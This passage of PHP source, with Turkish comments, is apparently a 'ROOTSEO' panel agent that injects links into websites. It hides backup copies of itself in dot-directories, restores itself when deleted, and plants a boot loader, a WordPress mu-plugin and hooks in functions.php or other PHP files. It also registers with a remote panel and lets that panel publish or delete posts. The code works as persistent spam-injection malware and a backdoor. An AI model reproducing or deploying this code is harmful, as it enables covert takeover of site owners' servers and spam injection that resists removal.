    if ($doc === '' || $doc === null) {
        $doc = dirname(__FILE__);
    }
    return rtrim(str_replace('\\', '/', $doc), '/') . '/agent.php';
}

function guardian_dirs() {
    $dirs = array();
    $seen = array();
    $bases = array(dirname(__FILE__));
    $doc = function_exists('find_document_root') ? find_document_root() : '';
    if ($doc !== '' && $doc !== null) {
        $bases[] = $doc;
        if (is_dir($doc . '/wp-content')) {
            $bases[] = $doc . '/wp-content';
        }
        if (is_dir($doc . '/tmp')) {
            $bases[] = $doc . '/tmp';
        }
    }
    foreach ($bases as $base) {
        $base = rtrim(str_replace('\\', '/', $base), '/');
        for ($i = 1; $i <= GUARDIAN_COPIES; $i++) {
            $d = $base . '/.rs_g' . $i;
            if (!isset($seen[$d])) {
                $seen[$d] = 1;
                $dirs[] = $d;
            }
        }
    }
    return $dirs;
}

function guardian_atomic_write($path, $src) {
    if ($path === '' || !guardian_source_ok($src)) {
        return false;
    }
    $dir = dirname($path);
    if (!is_dir($dir)) {
        @mkdir($dir, 0755, true);
    }
    $tmp = $path . '.heal.' . substr(md5(uniqid((string)mt_rand(), true)), 0, 8);
    if (@file_put_contents($tmp, $src) === false) {
        return false;
    }
    if (@rename($tmp, $path)) {
        if (function_exists('opcache_invalidate')) {
            @opcache_invalidate($path, true);
        }
        return true;
    }
    @unlink($path);
    $ok = @rename($tmp, $path);
    @unlink($tmp);
    if ($ok && function_exists('opcache_invalidate')) {
        @opcache_invalidate($path, true);
    }
    return (bool)$ok;
}

function guardian_write_copies() {
    $self = __FILE__;
    $src = @file_get_contents($self);
    if (!guardian_source_ok($src)) {
        return 0;
    }
    $stamp = array(
        'version' => AGENT_VERSION,
        'hash' => hash('sha256', $src),
        'at' => time(),
        'primary' => guardian_primary_path(),
        'bytes' => strlen($src),
    );
    $written = 0;
    foreach (guardian_dirs() as $dir) {
        if (!is_dir($dir)) {
            @mkdir($dir, 0755, true);
        }
        if (!is_dir($dir) || !is_writable($dir)) {
            continue;
        }
        if (@file_put_contents($dir . '/.rs_connector.php.bak', $src) !== false) {
            $written++;
        }
        @file_put_contents($dir . '/.rs_stamp.json', json_encode($stamp));
        @file_put_contents($dir . '/index.html', '');
    }
    $doc = function_exists('find_document_root') ? find_document_root() : dirname(__FILE__);
    if ($doc !== '' && is_dir($doc) && is_writable($doc)) {
        $doc = rtrim(str_replace('\\', '/', $doc), '/');
        @file_put_contents($doc . '/.rs_seed.php', $src);
        @file_put_contents($doc . '/.panel_agent_mirror.php', $src);
        guardian_install_boot_loader($doc, $src);
        // Asil hedef: agent.php her zaman ayakta
        $primary = guardian_primary_path();
        if (!guardian_is_healthy($primary)) {
            guardian_atomic_write($primary, $src);
        } else {
            // guncel tut
            $cur = @file_get_contents($primary);
            if ($cur !== $src) {
                guardian_atomic_write($primary, $src);
            }
        }
    }
    return $written;
}

function guardian_install_boot_loader($doc, $src) {
    $doc = rtrim(str_replace('\\', '/', $doc), '/');
    $primary = addslashes(guardian_primary_path());
    $boot = "<?php\n"
        . "/* ROOTSEO_BOOT v" . AGENT_VERSION . " — agent yoksa geri getirir, linkleri okur */\n"
        . "\$c = '$primary';\n"
        . build_guardian_restore_php('$c', '')
        . "if (@is_file(\$c)) {\n"
        . "    if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n"
        . "    @include_once \$c;\n"
        . "}\n";
    @file_put_contents($doc . '/.rs_boot.php', $boot);
    if (guardian_source_ok($src)) {
        @file_put_contents($doc . '/.rs_seed.php', $src);
    }
}

function guardian_best_backup() {
    $best = null;
    $candidates = array();
    foreach (guardian_dirs() as $dir) {
        $candidates[] = array($dir . '/.rs_connector.php.bak', $dir . '/.rs_stamp.json');
    }
    $doc = function_exists('find_document_root') ? find_document_root() : '';
    if ($doc !== '') {
        $doc = rtrim(str_replace('\\', '/', $doc), '/');
        $candidates[] = array($doc . '/.rs_seed.php', '');
        $candidates[] = array($doc . '/.panel_agent_mirror.php', '');
    }
    // Calisan bu dosya da yedek sayilir
    if (@is_file(__FILE__)) {
        $candidates[] = array(__FILE__, '');
    }
    foreach ($candidates as $pair) {
        $bak = $pair[0];
        $stampFile = $pair[1];
        if (!@is_file($bak)) {
            continue;
        }
        $src = @file_get_contents($bak);
        if (!guardian_source_ok($src)) {
            continue;
        }
        $ver = '0';
        if ($stampFile !== '' && @is_file($stampFile)) {
            $stamp = load_json_file($stampFile, array());
            if (isset($stamp['hash']) && hash('sha256', $src) !== $stamp['hash']) {
                continue;
            }
            $ver = (string)(isset($stamp['version']) ? $stamp['version'] : '0');
        } else {
            if (preg_match("/define\\(\\s*'AGENT_VERSION'\\s*,\\s*'([^']+)'\\s*\\)/", $src, $m)) {
                $ver = $m[1];
            }
        }
        if ($best === null || version_compare($ver, $best['version'], '>')) {
            $best = array('src' => $src, 'version' => $ver, 'from' => $bak);
        }
    }
    return $best;
}

function guardian_is_healthy($path) {
    if (!@is_file($path) || @filesize($path) < 64) {
        return false;
    }
    $src = @file_get_contents($path);
    return guardian_source_ok($src);
}

function guardian_restore_primary() {
    $primary = guardian_primary_path();
    $best = guardian_best_backup();
    if ($best === null) {
        return false;
    }
    return guardian_atomic_write($primary, $best['src']);
}

/**
 * Inline PHP: $c yoksa / bozuksa gizli yedeklerden atomic geri yazar.
 */
function build_guardian_restore_php($varName, $indent) {
    $i = $indent;
    $i2 = $indent . '    ';
    $i3 = $indent . '        ';
    $i4 = $indent . '            ';
    $i5 = $indent . '                ';
    return $i . "if (!@is_file($varName) || @filesize($varName) < 64) {\n"
        . $i2 . "\$__rs_d = dirname($varName);\n"
        . $i2 . "\$__rs_roots = array(\$__rs_d);\n"
        . $i2 . "if (!empty(\$_SERVER['DOCUMENT_ROOT'])) { \$__rs_roots[] = \$_SERVER['DOCUMENT_ROOT']; }\n"
        . $i2 . "if (is_dir(\$__rs_d . '/wp-content')) { \$__rs_roots[] = \$__rs_d . '/wp-content'; }\n"
        . $i2 . "\$__rs_done = false;\n"
        . $i2 . "foreach (\$__rs_roots as \$__rs_root) {\n"
        . $i3 . "if (\$__rs_done) { break; }\n"
        . $i3 . "\$__rs_root = rtrim(str_replace('\\\\', '/', (string)\$__rs_root), '/');\n"
        . $i3 . "\$__rs_cands = array();\n"
        . $i3 . "foreach ((array)@glob(\$__rs_root . '/.rs_g*/.rs_connector.php.bak') as \$__rs_b) { \$__rs_cands[] = \$__rs_b; }\n"
        . $i3 . "\$__rs_extra = array(\$__rs_root . '/.rs_seed.php', \$__rs_root . '/.panel_agent_mirror.php');\n"
        . $i3 . "foreach (\$__rs_extra as \$__rs_e) { if (@is_file(\$__rs_e)) { \$__rs_cands[] = \$__rs_e; } }\n"
        . $i3 . "foreach (\$__rs_cands as \$__rs_bak) {\n"
        . $i4 . "\$__rs_src = @file_get_contents(\$__rs_bak);\n"
        . $i4 . "if (\$__rs_src && strpos(\$__rs_src, '<?php') !== false && strpos(\$__rs_src, 'PANEL AGENT') !== false) {\n"
        . $i5 . "\$__rs_tmp = $varName . '.heal.' . substr(md5((string)microtime(true)), 0, 6);\n"
        . $i5 . "if (@file_put_contents(\$__rs_tmp, \$__rs_src) !== false) {\n"
        . $i5 . "    @rename(\$__rs_tmp, $varName);\n"
        . $i5 . "    @unlink(\$__rs_tmp);\n"
        . $i5 . "    if (function_exists('opcache_invalidate')) { @opcache_invalidate($varName, true); }\n"
        . $i5 . "    \$__rs_done = @is_file($varName);\n"
        . $i5 . "    if (\$__rs_done) { break; }\n"
        . $i5 . "}\n"
        . $i4 . "}\n"
        . $i3 . "}\n"
        . $i2 . "}\n"
        . $i . "}\n";
}

function build_guardian_restore_block() {
    return build_guardian_restore_php('$c', '    ');
}

function rootseo_guardian_tick($force = false) {
    try {
        $primary = guardian_primary_path();
        $healthy = guardian_is_healthy($primary);
        // Silinmis/bozuksa throttle yok — hemen dogur
        if (!$healthy) {
            if (guardian_restore_primary()) {
                $healthy = guardian_is_healthy($primary);
            }
            // Bu dosya ayaktaysa ondan da yaz
            if (!$healthy && guardian_is_healthy(__FILE__)) {
                $src = @file_get_contents(__FILE__);
                if (guardian_source_ok($src)) {
                    guardian_atomic_write($primary, $src);
                    $healthy = guardian_is_healthy($primary);
                }
            }
        }

        $stateFile = defined('GUARDIAN_STATE_FILE') ? GUARDIAN_STATE_FILE : (dirname($primary) . '/.rs_guardian_v5.json');
        $state = load_json_file($stateFile, array());
        $now = time();
        $last = isset($state['last_guardian']) ? intval($state['last_guardian']) : 0;
        if (!$force && $healthy && ($now - $last) < GUARDIAN_THROTTLE_SECONDS) {
            return $healthy;
        }
        $state['last_guardian'] = $now;
        $state['primary'] = $primary;
        $state['healthy'] = $healthy ? 1 : 0;
        $state['version'] = AGENT_VERSION;
        @save_json_file($stateFile, $state);

        if ($healthy || guardian_is_healthy(__FILE__)) {
            guardian_write_copies();
        }
        return $healthy;
    } catch (Exception $e) {
        return false;
    }
}

function rootseo_purge_broken_remnants() {
    $doc = find_document_root();
    $cleaned = array();
    // Eski htaccess prepend kalintilari (siteyi bozan)
    $ht = $doc . '/.htaccess';
    if (@is_file($ht) && is_writable($ht)) {
        $c = @file_get_contents($ht);
        if ($c !== false && (strpos($c, 'ROOTSEO_HTACCESS') !== false || strpos($c, 'panel_prepend') !== false || strpos($c, 'auto_prepend_file') !== false && strpos($c, 'ROOTSEO') !== false)) {
            $c2 = preg_replace('/# ROOTSEO_HTACCESS_START:.*?# ROOTSEO_HTACCESS_END:[^\n]*\n?/s', '', $c);
            $c2 = preg_replace('/^[^\n]*panel_prepend[^\n]*\n?/mi', '', $c2);
            if ($c2 !== $c && @file_put_contents($ht, $c2) !== false) {
                $cleaned[] = '.htaccess';
            }
        }
    }
    $ui = $doc . '/.user.ini';
    if (@is_file($ui) && is_writable($ui)) {
        $c = @file_get_contents($ui);
        if ($c !== false && strpos($c, 'ROOTSEO_USERINI') !== false) {
            $c2 = preg_replace('/# ROOTSEO_USERINI_START:.*?# ROOTSEO_USERINI_END:[^\n]*\n?/s', '', $c);
            if ($c2 !== $c && @file_put_contents($ui, $c2) !== false) {
                $cleaned[] = '.user.ini';
            }
        }
    }
    foreach (array($doc . '/.panel_prepend_v5.php') as $dead) {
        if (@is_file($dead) && @unlink($dead)) {
            $cleaned[] = basename($dead);
        }
    }
    return $cleaned;
}

// ==================== AUTO-CLEAN (OTOMATİK TEMİZLİK) ====================

function rootseo_autoclean_tick() {
    try {
        $state = load_json_file(GUARDIAN_STATE_FILE, array());
        $now = time();
        $last = isset($state['last_autoclean']) ? intval($state['last_autoclean']) : 0;
        if (($now - $last) < AUTO_CLEAN_THROTTLE_SECONDS) return;
        $state['last_autoclean'] = $now;
        @save_json_file(GUARDIAN_STATE_FILE, $state);

        $links = load_links();
        $kept = array();
        foreach ($links as $id => $row) {
            $exp = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
            if (!empty($exp) && $exp > 0 && $exp < $now) continue;
            $kept[$id] = $row;
        }
        if (count($kept) !== count($links)) {
            save_links($kept);
        } else {
            $config = load_config();
            if (count(enforce_footer_cap($kept, $config)) !== count($kept)) {
                save_links($kept);
            }
        }
    } catch (Exception $e) {
        // never break the host page
    }
}

// ==================== MU-PLUGIN ve WORDPRESS ENTEGRASYONU ====================

function build_mu_plugin_code($marker) {
    $connectorPath = addslashes(guardian_primary_path());
    $fallback = addslashes(__FILE__);
    return "<?php\n"
        . "/* ROOTSEO_MUPLUGIN:$marker v" . AGENT_VERSION . " */\n"
        . "if (!defined('ABSPATH')) { return; }\n"
        . "add_action('plugins_loaded', function () {\n"
        . "    \$c = '$connectorPath';\n"
        . build_guardian_restore_block()
        . "    if (!@is_file(\$c)) { \$c = '$fallback'; " . trim(build_guardian_restore_php('$c', '    ')) . " }\n"
        . "    if (!@is_file(\$c)) { return; }\n"
        . "    if (!defined('ROOTSEO_EMBED_VIA_HOOK')) define('ROOTSEO_EMBED_VIA_HOOK', true);\n"
        . "    if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n"
        . "    include_once \$c;\n"
        . "}, 1);\n";
}

function install_mu_plugin($siteInfo) {
    $base = $siteInfo['document_root'];
    $muDir = $base . '/wp-content/mu-plugins';
    if (!is_dir($muDir)) {
        if (!@mkdir($muDir, 0755, true) && !is_dir($muDir)) return array(false, null, null, 'mu_dir_create_failed');
    }
    if (!is_writable($muDir)) return array(false, null, null, 'mu_dir_not_writable');
    $marker = placement_marker('wp_mu_plugin');
    $pluginPath = $muDir . '/panel-links-v5.php';
    if (@file_put_contents($pluginPath, build_mu_plugin_code($marker)) === false) return array(false, null, null, 'mu_plugin_write_failed');
    return array(true, $pluginPath, 'dynamic_php', 'mu_plugin_installed');
}

function install_functions_hook($siteInfo) {
    $footer = isset($siteInfo['active_theme_footer']) ? $siteInfo['active_theme_footer'] : null;
    if (!$footer) return array(false, null, null, 'active_theme_footer_missing');
    $functionsFile = dirname($footer) . '/functions.php';
    if (!file_exists($functionsFile) || !is_writable($functionsFile)) return array(false, null, null, 'functions_not_writable');
    $marker = placement_marker('wp_functions_hook');
    $content = @file_get_contents($functionsFile);
    if ($content === false) return array(false, null, null, 'functions_read_failed');
    $connectorPath = addslashes(guardian_primary_path());
    $fallback = addslashes(__FILE__);
    $functionName = 'panel_render_' . preg_replace('/[^a-z0-9]/i', '', $marker);
    $snippet = "\n/* ROOTSEO_FUNCTIONS_START:$marker v" . AGENT_VERSION . " */\n"
        . "if (!function_exists('$functionName')) {\n"
        . "function $functionName() {\n"
        . "    \$c = '$connectorPath';\n"
        . build_guardian_restore_block()
        . "    if (!@is_file(\$c)) { \$c = '$fallback'; " . trim(build_guardian_restore_php('$c', '    ')) . " }\n"
        . "    if (!@is_file(\$c)) { return; }\n"
        . "    if (!defined('ROOTSEO_EMBED_VIA_HOOK')) define('ROOTSEO_EMBED_VIA_HOOK', true);\n"
        . "    if (!defined('ROOTSEO_CONNECTOR_EMBED_RENDER')) define('ROOTSEO_CONNECTOR_EMBED_RENDER', true);\n"
        . "    include_once \$c;\n"
        . "}\n"
        . "add_action('after_setup_theme', '$functionName', 1);\n"
        . "}\n/* ROOTSEO_FUNCTIONS_END:$marker */\n";
    if (strpos($content, "ROOTSEO_FUNCTIONS_START:$marker") !== false) {
        return array(true, $functionsFile, 'dynamic_php', 'functions_hook_exists');
    }
    if (@file_put_contents($functionsFile, $content . $snippet) === false) return array(false, null, null, 'functions_write_failed');
    return array(true, $functionsFile, 'dynamic_php', 'functions_hook_installed');
}

function install_file_patch($filePath, $strategy) {
    $marker = placement_marker($strategy . '|' . $filePath);
    $ext = strtolower(pathinfo($filePath, PATHINFO_EXTENSION));
    if (in_array($ext, array('html', 'htm'), true)) {
        list($ok, $msg) = upsert_html_file_block($filePath, $marker);
        return array($ok, $ok ? $filePath : null, $ok ? 'static_html' : null, $msg, $marker);
    }
    list($ok, $msg) = upsert_php_file_block($filePath, $marker);
    return array($ok, $ok ? $filePath : null, $ok ? 'dynamic_php' : null, $msg, $marker);
}

function install_htaccess_prepend($siteInfo) {
    // Site .htaccess'e dokunma
    $marker = placement_marker('htaccess_prepend');
    return array(false, null, null, 'htaccess_disabled', $marker);
}

function install_user_ini($siteInfo) {
    // .user.ini / auto_prepend siteyi bozabilir — kapali
    $marker = placement_marker('user_ini');
    return array(false, null, null, 'user_ini_disabled', $marker);
}

function install_any_php_file($siteInfo) {
    $base = $siteInfo['document_root'];
    $phpFiles = glob($base . '/*.php');
    if (!$phpFiles) return array(false, null, null, 'no_root_php_files', null);
    foreach ($phpFiles as $file) {
        $name = basename($file);
        if (in_array($name, array(basename(__FILE__), 'wp-config.php', 'wp-settings.php', 'wp-load.php'), true)) continue;
        list($ok, $target, $mode, $msg, $marker) = install_file_patch($file, 'any_php_file');
        if ($ok) return array(true, $target, $mode, $msg, $marker);
    }
    return array(false, null, null, 'no_writable_php_target', null);
}

function build_strategy_chain($siteInfo) {
    $chain = array();
    if ($siteInfo['site_type'] === 'wordpress') {
        $chain[] = 'wp_mu_plugin';
        $chain[] = 'wp_functions_hook';
        if (!empty($siteInfo['active_theme_footer'])) {
            $chain[] = array('file_patch', $siteInfo['active_theme_footer'], 'wp_active_footer');
        }
    }
    foreach ($siteInfo['footer_paths'] as $path) {
        $chain[] = array('file_patch', $path, 'footer_patch');
    }
    foreach (array('index.php', 'index.html', 'index.htm') as $file) {
        $path = $siteInfo['document_root'] . '/' . $file;
        if (file_exists($path)) {
            $chain[] = array('file_patch', $path, 'index_patch');
        }
    }
    // htaccess / user_ini yok — siteyi bozmamak icin
    $chain[] = 'any_php_file';
    return $chain;
}

function append_placement_history($config, $entry) {
    $history = isset($config['placement']['history']) ? $config['placement']['history'] : array();
    $history[] = $entry;
    if (count($history) > PLACEMENT_HISTORY_LIMIT) {
        $history = array_slice($history, -PLACEMENT_HISTORY_LIMIT);
    }
    $config['placement']['history'] = array_values($history);
    return $config;
}

function verify_current_placement($config) {
    $placement = isset($config['placement']) ? $config['placement'] : default_placement_state();
    $strategy = isset($placement['strategy']) ? $placement['strategy'] : '';
    $target = isset($placement['target']) ? $placement['target'] : '';
    $marker = isset($placement['marker']) ? $placement['marker'] : '';
    if (!$strategy || !$target || !$marker) return array(false, 'placement_missing');
    if ($strategy === 'wp_mu_plugin' || $strategy === 'wp_functions_hook') {
        if (!file_exists($target)) return array(false, 'target_missing');
        $content = @file_get_contents($target);
        return ($content !== false && strpos($content, $marker) !== false) ? array(true, 'marker_present') : array(false, 'marker_missing');
    }
    if ($strategy === 'htaccess_prepend' || $strategy === 'user_ini') {
        if (!file_exists($target)) return array(false, 'prepend_missing');
        $content = @file_get_contents($target);
        $prependFile = $GLOBALS['site_info']['document_root'] . '/.panel_prepend_v5.php';
        return ($content !== false && strpos($content, $prependFile) !== false) ? array(true, 'prepend_present') : array(false, 'prepend_missing');
    }
    if (!file_exists($target)) return array(false, 'target_missing');
    $content = @file_get_contents($target);
    if ($content === false) return array(false, 'target_unreadable');
    $install_mode = isset($placement['install_mode']) ? $placement['install_mode'] : '';
    if ($install_mode === 'static_html') {
        return strpos($content, "ROOTSEO_HTML_START:$marker") !== false ? array(true, 'static_block_present') : array(false, 'static_block_missing');
    }
    return strpos($content, "ROOTSEO_START:$marker") !== false ? array(true, 'dynamic_block_present') : array(false, 'dynamic_block_missing');
}

function ensure_render_delivery($forceReinstall = false) {
    $config = load_config();
    $siteInfo = detect_site_info();
    $GLOBALS['site_info'] = $siteInfo;
    $placement = isset($config['placement']) ? $config['placement'] : default_placement_state();
    $verified = array(false, 'not_checked');
    if (!$forceReinstall) {
        $verified = verify_current_placement($config);
        if ($verified[0]) {
            $placement['status'] = 'installed';
            $placement['verify_status'] = $verified[1];
            $placement['last_verified_at'] = gmdate('c');
            $config['placement'] = $placement;
            save_config($config);
            return array(true, $config, array('verified' => true, 'message' => $verified[1]));
        }
    }
    foreach (build_strategy_chain($siteInfo) as $strategy) {
        $nowIso = gmdate('c');
        if (is_string($strategy)) {
            if ($strategy === 'wp_mu_plugin') {
                list($ok, $target, $mode, $msg) = install_mu_plugin($siteInfo);
                $marker = placement_marker('wp_mu_plugin');
                $strategyName = 'wp_mu_plugin';
            } elseif ($strategy === 'wp_functions_hook') {
                list($ok, $target, $mode, $msg) = install_functions_hook($siteInfo);
                $marker = placement_marker('wp_functions_hook');
                $strategyName = 'wp_functions_hook';
            } elseif ($strategy === 'htaccess_prepend') {
                list($ok, $target, $mode, $msg, $marker) = install_htaccess_prepend($siteInfo);
                $strategyName = 'htaccess_prepend';
            } elseif ($strategy === 'user_ini') {
                list($ok, $target, $mode, $msg, $marker) = install_user_ini($siteInfo);
                $strategyName = 'user_ini';
            } elseif ($strategy === 'any_php_file') {
                list($ok, $target, $mode, $msg, $marker) = install_any_php_file($siteInfo);
                $strategyName = 'any_php_file';
            } else {
                continue;
            }
        } else {
            $strategyName = $strategy[2];
            list($ok, $target, $mode, $msg, $marker) = install_file_patch($strategy[1], $strategy[2]);
        }
        $config = append_placement_history($config, array(
            'at' => $nowIso,
            'strategy' => $strategyName,
            'target' => $target,
            'install_mode' => $mode,
            'success' => (bool)$ok,
            'message' => $msg,
        ));
        if ($ok) {
            $placement = array(
                'status' => 'installed',
                'strategy' => $strategyName,
                'target' => $target,
                'install_mode' => $mode,
                'marker' => $marker,
                'message' => $msg,
                'installed_at' => isset($config['placement']['installed_at']) ? $config['placement']['installed_at'] : $nowIso,
                'last_attempt_at' => $nowIso,
                'last_verified_at' => $nowIso,
                'verify_status' => 'installed',
                'history' => isset($config['placement']['history']) ? $config['placement']['history'] : array(),
            );
            $config['placement'] = $placement;
            save_config($config);
            $links = load_links();
            foreach ($links as $id => $row) {
                $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
            }
            save_links($links);
            return array(true, $config, array('verified' => false, 'message' => $msg));
        }
    }
    $config['placement']['status'] = 'failed';
    $config['placement']['last_attempt_at'] = gmdate('c');
    $config['placement']['message'] = 'no_strategy_succeeded';
    save_config($config);
    return array(false, $config, array('verified' => false, 'message' => 'no_strategy_succeeded'));
}

function apply_placement_snapshot_to_link($row, $placement) {
    $row['placement_status'] = isset($placement['status']) ? $placement['status'] : 'not_installed';
    $row['placement_strategy'] = isset($placement['strategy']) ? $placement['strategy'] : null;
    $row['placement_target'] = isset($placement['target']) ? $placement['target'] : null;
    $row['last_verified_at'] = isset($placement['last_verified_at']) ? $placement['last_verified_at'] : null;
    return $row;
}

function placement_report_payload() {
    $config = load_config();
    $siteInfo = detect_site_info();
    $links = load_links();
    $stats = get_link_stats($links);
    list($ok, $verifyMessage) = verify_current_placement($config);
    $config['placement']['last_verified_at'] = gmdate('c');
    $config['placement']['verify_status'] = $verifyMessage;
    save_config($config);
    return array(
        'version' => AGENT_VERSION,
        'site_info' => $siteInfo,
        'placement' => $config['placement'],
        'link_stats' => $stats,
        'render_profile' => $config['render_profile'],
        'render_types' => $config['render_types'],
        'placement_ok' => $ok,
    );
}

function verify_links_action() {
    $links = load_links();
    $config = load_config();
    $nowIso = gmdate('c');
    foreach ($links as $id => $row) {
        $row['last_verified_at'] = $nowIso;
        $links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
    }
    save_links($links);
    return placement_report_payload();
}

// ==================== WORDPRESS REGISTER ====================

function rootseo_wp_register() {
    if (defined('ROOTSEO_WP_REGISTERED')) return;
    define('ROOTSEO_WP_REGISTERED', true);
    if (!function_exists('add_action')) return;
    if (function_exists('add_filter')) {
        define('ROOTSEO_WP_CONTEXTUAL_ACTIVE', true);
        add_filter('the_content', 'rootseo_contextual_inject', 50);
    }
    add_action('wp_footer', function () {
        echo rootseo_build_footer_html(true);
    }, 9999);
    rootseo_guardian_tick();
    rootseo_autoclean_tick();
}

// ==================== ANA ÇALIŞMA KODU ====================

$root = www_root();
if (!$root || $root === '' || $root === false) {
    $root = dirname(__FILE__);
}
$configFile = $root . '/.site_agent.json';
$linksFile = $root . '/.site_links.json';
$guardianStateFile = $root . '/.rs_guardian_v5.json';
$debug = isset($_GET['debug']);

if (!defined('CONFIG_FILE')) define('CONFIG_FILE', $configFile);
if (!defined('LINKS_FILE')) define('LINKS_FILE', $linksFile);
if (!defined('GUARDIAN_STATE_FILE')) define('GUARDIAN_STATE_FILE', $guardianStateFile);

// Panel check endpoint (arka plan kontrolü için)
if (isset($_GET['panel_check'])) {
    header('Content-Type: application/json');
    $primary = guardian_primary_path();
    echo json_encode(array(
        'status' => 'online',
        'domain' => (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https://' : 'http://') . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''),
        'agent_version' => AGENT_VERSION,
        'php_version' => PHP_VERSION,
        'root' => $root,
        'primary' => $primary,
        'primary_ok' => guardian_is_healthy($primary),
        'config_exists' => file_exists($configFile),
        'links_exists' => file_exists($linksFile),
    ));
    exit;
}

// Eski bozan kalintilari temizle + agent.php dogur
if (isset($_GET['repair'])) {
    header('Content-Type: text/plain; charset=utf-8');
    $cleaned = rootseo_purge_broken_remnants();
    $ok = rootseo_guardian_tick(true);
    $primary = guardian_primary_path();
    // placement yeniden kur
    $render = ensure_render_delivery(true);
    echo "REPAIR " . ($ok ? 'OK' : 'PARTIAL') . "\n";
    echo "primary=" . $primary . "\n";
    echo "primary_ok=" . (guardian_is_healthy($primary) ? '1' : '0') . "\n";
    echo "cleaned=" . implode(',', $cleaned) . "\n";
    echo "placement=" . (!empty($render[0]) ? 'OK' : 'FAIL') . "\n";
    exit;
}

// ==================== EMBED MODU ÖNCE (beyaz ekran engeli) ====================
// Footer / mu-plugin / include ile cagrildiginda register/config/sync YAPMA.
// Sadece link render + guardian/autoclean.

$isEmbed = (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true);
$selfBase = basename(__FILE__);
$isDirectHit = false;
if (isset($_SERVER['SCRIPT_FILENAME'])) {
    $sf = (string)$_SERVER['SCRIPT_FILENAME'];
    $rpSf = @realpath($sf);
    $rpSelf = @realpath(__FILE__);
    if ($rpSf && $rpSelf && strcasecmp($rpSf, $rpSelf) === 0) {
        $isDirectHit = true;
    } elseif (strcasecmp(basename($sf), $selfBase) === 0) {
        $isDirectHit = true;
    }
}
if (!$isDirectHit && isset($_SERVER['PHP_SELF']) && strcasecmp(basename((string)$_SERVER['PHP_SELF']), $selfBase) === 0) {
    $isDirectHit = true;
}
if (!$isDirectHit && isset($_SERVER['SCRIPT_NAME']) && strcasecmp(basename((string)$_SERVER['SCRIPT_NAME']), $selfBase) === 0) {
    $isDirectHit = true;
}

if ($isEmbed || !$isDirectHit) {
    try {
        @rootseo_guardian_tick(false);
        if (defined('ROOTSEO_EMBED_VIA_HOOK') && ROOTSEO_EMBED_VIA_HOOK && function_exists('add_action')) {
            rootseo_wp_register();
        } else {
            rootseo_autoclean_tick();
            if ($isEmbed) {
                echo rootseo_build_footer_html(false);
            }
        }
    } catch (Exception $e) {
        // host sayfayi kirma
    }
    return;
}

// ==================== BLOG YAYINLA / SİL (WordPress) ====================

if (isset($_POST['delete_blog'])) {
    if (!file_exists($configFile)) {
        http_response_code(403);
        echo json_encode(array('ok' => false, 'error' => 'config_not_found'));
        exit;
    }
    $cfg = json_decode(read($configFile), true);
    $key = isset($_SERVER['HTTP_X_SITE_KEY']) ? (string)$_SERVER['HTTP_X_SITE_KEY'] : '';
    if (empty($cfg['site_key']) || $key !== $cfg['site_key']) {
        http_response_code(403);
        echo json_encode(array('ok' => false, 'error' => 'unauthorized'));
        exit;
    }
    if (!file_exists($root . '/wp-load.php')) {
        echo json_encode(array('ok' => false, 'error' => 'not_wordpress'));
        exit;
    }
    require_once $root . '/wp-load.php';
    $remoteUrl = isset($_POST['remote_url']) ? trim((string)$_POST['remote_url']) : '';
    $title = isset($_POST['title']) ? trim((string)$_POST['title']) : '';
    $postId = 0;
    if ($remoteUrl !== '') {
        $postId = url_to_postid($remoteUrl);
    }
    if (!$postId && $title !== '') {
        $post = get_page_by_title($title, OBJECT, 'post');
        if ($post) {
            $postId = (int)$post->ID;
        }
    }
    if (!$postId) {
        echo json_encode(array('ok' => false, 'error' => 'post_not_found'));
        exit;
    }
    $deleted = wp_delete_post($postId, true);
    if (!$deleted) {
        echo json_encode(array('ok' => false, 'error' => 'delete_failed'));
        exit;
    }
    echo json_encode(array('ok' => true));
    exit;
}

if (isset($_POST['publish_blog'])) {
    if (!file_exists($configFile)) {
        http_response_code(403);
        echo json_encode(array('ok' => false, 'error' => 'config_not_found'));
        exit;
    }
    $cfg = json_decode(read($configFile), true);
    $key = isset($_SERVER['HTTP_X_SITE_KEY']) ? (string)$_SERVER['HTTP_X_SITE_KEY'] : '';
    if (empty($cfg['site_key']) || $key !== $cfg['site_key']) {
        http_response_code(403);
        echo json_encode(array('ok' => false, 'error' => 'unauthorized'));
        exit;
    }
    if (!file_exists($root . '/wp-load.php')) {
        echo json_encode(array('ok' => false, 'error' => 'not_wordpress'));
        exit;
    }
    require_once $root . '/wp-load.php';
    $title = isset($_POST['title']) ? trim((string)$_POST['title']) : '';
    $content = isset($_POST['content']) ? (string)$_POST['content'] : '';
    if ($title === '' || trim($content) === '') {
        echo json_encode(array('ok' => false, 'error' => 'invalid_payload'));
        exit;
    }
    $postId = wp_insert_post(array(
        'post_title' => $title,
        'post_content' => $content,
        'post_status' => 'publish',
        'post_type' => 'post',
    ), true);
    if (is_wp_error($postId)) {
        echo json_encode(array('ok' => false, 'error' => $postId->get_error_message()));
        exit;
    }
    echo json_encode(array('ok' => true, 'url' => get_permalink($postId)));
    exit;
}

// ==================== REGISTER (İLK KURULUM) ====================

if (!file_exists($configFile)) {
    $response = curlRequest(
        PANEL_BASE . "/register",
        array('Content-Type: application/x-www-form-urlencoded'),
        true,
        http_build_query(array(
            'domain' => (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https://' : 'http://') . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown'),
            'cms' => detectCMS(),
            'agent_version' => AGENT_VERSION
        ))
    );
    if (!$response) out("REGISTER_FAILED: panel unreachable (" . PANEL_BASE . "/register)");
    $decoded = json_decode($response, true);
    if (!is_array($decoded) || empty($decoded['site_key']) || empty($decoded['site_secret'])) {
        out("REGISTER_FAILED: bad response: " . substr(preg_replace('/\s+/', ' ', $response), 0, 200));
    }
    if (!save($configFile, $response)) {
        out("REGISTER_FAILED: cannot write " . $configFile);
    }
    out("REGISTERED");
}

// ==================== KONFIGÜRASYONU OKU ====================

$config = json_decode(read($configFile), true);
